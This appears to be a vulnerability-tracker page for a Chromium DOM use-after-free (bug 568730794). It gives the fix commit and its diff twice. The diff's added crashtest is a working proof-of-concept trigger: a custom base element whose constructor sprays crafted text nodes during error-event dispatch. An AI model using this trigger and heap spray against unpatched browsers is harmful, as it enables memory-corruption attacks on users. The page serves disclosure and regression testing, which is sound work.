High chrome UAF 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in DOM
DescriptionUse after free in DOM
ComponentDOM
Bug ClassUAF
Tracker568730794
Fix commita2e425e51fb9 (chromium/src) +126/-3
CISA KEVNot listed
CreditedXinyang Ge
Disclosed2026-10-13

Changed Functions

FunctionChangeNotes
for
third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
modified
constructor
third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
modified

Files Changed

  • third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
  • third_party/blink/renderer/core/html/html_base_element.cc
  • third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
  • third_party/blink/renderer/core/script/script_loader.cc
From a2e425e51fb919965ddac06f435f733af96eddf0 Mon Sep 17 00:00:00 2001
From: Joey Arhar <[email protected]>
Date: Wed, 07 Oct 2026 12:25:49 -0700
Subject: [PATCH] Do not synchronously fire speculation rules error events on base changes

When a <base> element is inserted, removed, or has its href attribute
modified, Document::ProcessBaseElement() updates the document's base URL
and notifies ScriptLoader::DocumentBaseURLChanged(). If the document
contains an invalid <script type="speculationrules">, reparsing it in
ScriptLoader::AddSpeculationRuleSet() synchronously dispatches error
events on the script element and window, running script while
EventDispatchForbiddenScope is active during DOM insertion, removal, or
attribute cloning.

Fix this by:
1. Checking isConnected() in HTMLBaseElement::ParseAttribute() so
   modifying or cloning attributes on a disconnected <base> element does
   not call Document::ProcessBaseElement().
2. Returning early in ScriptLoader::DocumentBaseURLChanged() if the
   speculation rule set failed to parse, since top-level parse errors do
   not depend on the base URL.

Bug: 568730794
Change-Id: Ib0167ae383b089c7548befb797b674212dca1479
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8508876
Commit-Queue: Joey Arhar <[email protected]>
Reviewed-by: David Baron <[email protected]>
Reviewed-by: Joey Arhar <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1713725}
---
diff --git a/third_party/blink/renderer/core/html/html_base_element.cc b/third_party/blink/renderer/core/html/html_base_element.cc
index eb56741..2a233fe 100644
--- a/third_party/blink/renderer/core/html/html_base_element.cc
+++ b/third_party/blink/renderer/core/html/html_base_element.cc
@@ -36,10 +36,13 @@
 void HTMLBaseElement::ParseAttribute(
     const AttributeModificationParams& params) {
   if (params.name == html_names::kHrefAttr ||
-      params.name == html_names::kTargetAttr)
-    GetDocument().ProcessBaseElement();
-  else
+      params.name == html_names::kTargetAttr) {
+    if (IsInDocumentTree()) {
+      GetDocument().ProcessBaseElement();
+    }
+  } else {
     HTMLElement::ParseAttribute(params);
+  }
 }
 
 Node::InsertionNotificationRequest HTMLBaseElement::InsertedInto(
diff --git a/third_party/blink/renderer/core/script/script_loader.cc b/third_party/blink/renderer/core/script/script_loader.cc
index 8487c19..219cbcf 100644
--- a/third_party/blink/renderer/core/script/script_loader.cc
+++ b/third_party/blink/renderer/core/script/script_loader.cc
@@ -234,6 +234,17 @@
   if (GetScriptType() != ScriptTypeAtPrepare::kSpeculationRules) {
     return;
   }
+  // If the entire rule set failed to parse (which ShouldReportUMAForError()
+  // checks: kSourceIsNotJsonObject or kInvalidRulesetLevelTag), do not reparse
+  // it. Top-level parse errors only depend on the original source text and not
+  // the base URL, so reparsing would always fail with the same error and
+  // synchronously re-dispatch error events in AddSpeculationRuleSet() while
+  // EventDispatchForbiddenScope may be active (e.g. during <base> insertion or
+  // removal).
+  if (!speculation_rule_set_ ||
+      speculation_rule_set_->ShouldReportUMAForError()) {
+    return;
+  }
   // We reparse the original source text and generate a new SpeculationRuleSet
   // with the new base URL. Note that any text changes since the first parse
   // will be ignored.
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
new file mode 100644
index 0000000..d346281
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<meta charset=utf-8>
+<title>Cloning a customized built-in base element with invalid speculation rules</title>
+<link rel=author href="mailto:[email protected]">
+<link rel=help href="https://issues.chromium.org/issues/568730794">
+<base href="data:,x">
+<script type=speculationrules>x</script>
+<script>
+const word = 0x414243444540n;
+const keep = [], fills = [];
+for (let k = 0; k < 16; k++) {
+  const c = [48 + k, 48, 48, 48];
+  for (let slot = 1; slot < 8; slot++) {
+    for (let half = 0; half < 2; half++) {
+      for (let i = 0n; i < 8n; i++) {
+        c.push(Number((word >> (8n * i)) & 255n));
+      }
+    }
+  }
+  fills.push(String.fromCharCode.apply(null, c));
+}
+let armed = false;
+customElements.define('x-b', class extends HTMLBaseElement {
+  constructor() {
+    super();
+    if (!armed) return;
+    armed = false;
+    this.setAttribute('z', '');
+    for (const s of fills) keep.push(document.createTextNode(s));
+  }
+}, { extends: 'base' });
+document.querySelector('script[type=speculationrules]').addEventListener('error', () => {});
+</script>
+<body>
+<select><button><selectedcontent></selectedcontent></button>
+<option selected><script>
+{
+  const b = document.createElement('base', { is: 'x-b' });
+  b.setAttribute('hidden', '');
+  for (let i = 0; i < 6; i++) b.setAttribute('a' + i, '');
+  b.setAttribute('href', 'q');
+  document.body.appendChild(b);
+  getComputedStyle(b).display;
+  document.currentScript.parentNode.appendChild(b);
+  armed = true;
+}
+</script></option>
+</select>
diff --git a/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
new file mode 100644
index 0000000..b989cbc
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#respond-to-base-url-changes">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#update-speculation-rules">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/semantics.html#the-base-element">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script>
+// Invalid inline speculation rules report a TypeError exception on window,
+// which testharness.js's global error listener would otherwise treat as an
+// unexpected harness error.
+setup({ allow_uncaught_exception: true });
+
+promise_test(async t => {
+  const script = document.createElement('script');
+  script.type = 'speculationrules';
+  script.textContent = 'invalid json';
+  t.add_cleanup(() => script.remove());
+
+  let elementErrorCount = 0;
+  let globalErrorCount = 0;
+
+  const elementError = new Promise(resolve => {
+    script.addEventListener('error', () => {
+      elementErrorCount++;
+      resolve();
+    });
+  });
+
+  const onWindowError = e => {
+    e.preventDefault();
+    globalErrorCount++;
+  };
+  window.addEventListener('error', onWindowError);
+  t.add_cleanup(() => window.removeEventListener('error', onWindowError));
+
+  document.head.appendChild(script);
+  await elementError;
+  assert_equals(elementErrorCount, 1, 'initial element error event count');
+  assert_equals(globalErrorCount, 1, 'initial window error event count');
+
+  // Modifying a disconnected <base> element should not trigger base URL updates.
+  const disconnectedBase = document.createElement('base');
+  disconnectedBase.href = 'https://example.com/disconnected/';
+  disconnectedBase.cloneNode(true);
+  assert_equals(elementErrorCount, 1, 'element error count after disconnected base');
+  assert_equals(globalErrorCount, 1, 'window error count after disconnected base');
+
+  // Inserting, updating, and removing a connected <base> element should not
+  // re-fire error events for an already-errored speculationrules script.
+  const base = document.createElement('base');
+  base.href = 'https://example.com/sub1/';
+  t.add_cleanup(() => base.remove());
+  document.head.appendChild(base);
+  base.href = 'https://example.com/sub2/';
+  base.remove();
+
+  await new Promise(resolve => t.step_timeout(resolve, 0));
+  assert_equals(elementErrorCount, 1, 'element error count after base URL changes');
+  assert_equals(globalErrorCount, 1, 'window error count after base URL changes');
+}, 'Base URL changes do not re-fire error events on invalid speculation rules');
+</script>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
new file mode 100644
index 0000000..d346281
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<meta charset=utf-8>
+<title>Cloning a customized built-in base element with invalid speculation rules</title>
+<link rel=author href="mailto:[email protected]">
+<link rel=help href="https://issues.chromium.org/issues/568730794">
+<base href="data:,x">
+<script type=speculationrules>x</script>
+<script>
+const word = 0x414243444540n;
+const keep = [], fills = [];
+for (let k = 0; k < 16; k++) {
+  const c = [48 + k, 48, 48, 48];
+  for (let slot = 1; slot < 8; slot++) {
+    for (let half = 0; half < 2; half++) {
+      for (let i = 0n; i < 8n; i++) {
+        c.push(Number((word >> (8n * i)) & 255n));
+      }
+    }
+  }
+  fills.push(String.fromCharCode.apply(null, c));
+}
+let armed = false;
+customElements.define('x-b', class extends HTMLBaseElement {
+  constructor() {
+    super();
+    if (!armed) return;
+    armed = false;
+    this.setAttribute('z', '');
+    for (const s of fills) keep.push(document.createTextNode(s));
+  }
+}, { extends: 'base' });
+document.querySelector('script[type=speculationrules]').addEventListener('error', () => {});
+</script>
+<body>
+<select><button><selectedcontent></selectedcontent></button>
+<option selected><script>
+{
+  const b = document.createElement('base', { is: 'x-b' });
+  b.setAttribute('hidden', '');
+  for (let i = 0; i < 6; i++) b.setAttribute('a' + i, '');
+  b.setAttribute('href', 'q');
+  document.body.appendChild(b);
+  getComputedStyle(b).display;
+  document.currentScript.parentNode.appendChild(b);
+  armed = true;
+}
+</script></option>
+</select>
diff --git a/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
new file mode 100644
index 0000000..b989cbc
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#respond-to-base-url-changes">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#update-speculation-rules">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/semantics.html#the-base-element">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script>
+// Invalid inline speculation rules report a TypeError exception on window,
+// which testharness.js's global error listener would otherwise treat as an
+// unexpected harness error.
+setup({ allow_uncaught_exception: true });
+
+promise_test(async t => {
+  const script = document.createElement('script');
+  script.type = 'speculationrules';
+  script.textContent = 'invalid json';
+  t.add_cleanup(() => script.remove());
+
+  let elementErrorCount = 0;
+  let globalErrorCount = 0;
+
+  const elementError = new Promise(resolve => {
+    script.addEventListener('error', () => {
+      elementErrorCount++;
+      resolve();
+    });
+  });
+
+  const onWindowError = e => {
+    e.preventDefault();
+    globalErrorCount++;
+  };
+  window.addEventListener('error', onWindowError);
+  t.add_cleanup(() => window.removeEventListener('error', onWindowError));
+
+  document.head.appendChild(script);
+  await elementError;
+  assert_equals(elementErrorCount, 1, 'initial element error event count');
+  assert_equals(globalErrorCount, 1, 'initial window error event count');
+
+  // Modifying a disconnected <base> element should not trigger base URL updates.
+  const disconnectedBase = document.createElement('base');
+  disconnectedBase.href = 'https://example.com/disconnected/';
+  disconnectedBase.cloneNode(true);
+  assert_equals(elementErrorCount, 1, 'element error count after disconnected base');
+  assert_equals(globalErrorCount, 1, 'window error count after disconnected base');
+
+  // Inserting, updating, and removing a connected <base> element should not
+  // re-fire error events for an already-errored speculationrules script.
+  const base = document.createElement('base');
+  base.href = 'https://example.com/sub1/';
+  t.add_cleanup(() => base.remove());
+  document.head.appendChild(base);
+  base.href = 'https://example.com/sub2/';
+  base.remove();
+
+  await new Promise(resolve => t.step_timeout(resolve, 0));
+  assert_equals(elementErrorCount, 1, 'element error count after base URL changes');
+  assert_equals(globalErrorCount, 1, 'window error count after base URL changes');
+}, 'Base URL changes do not re-fire error events on invalid speculation rules');
+</script>
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.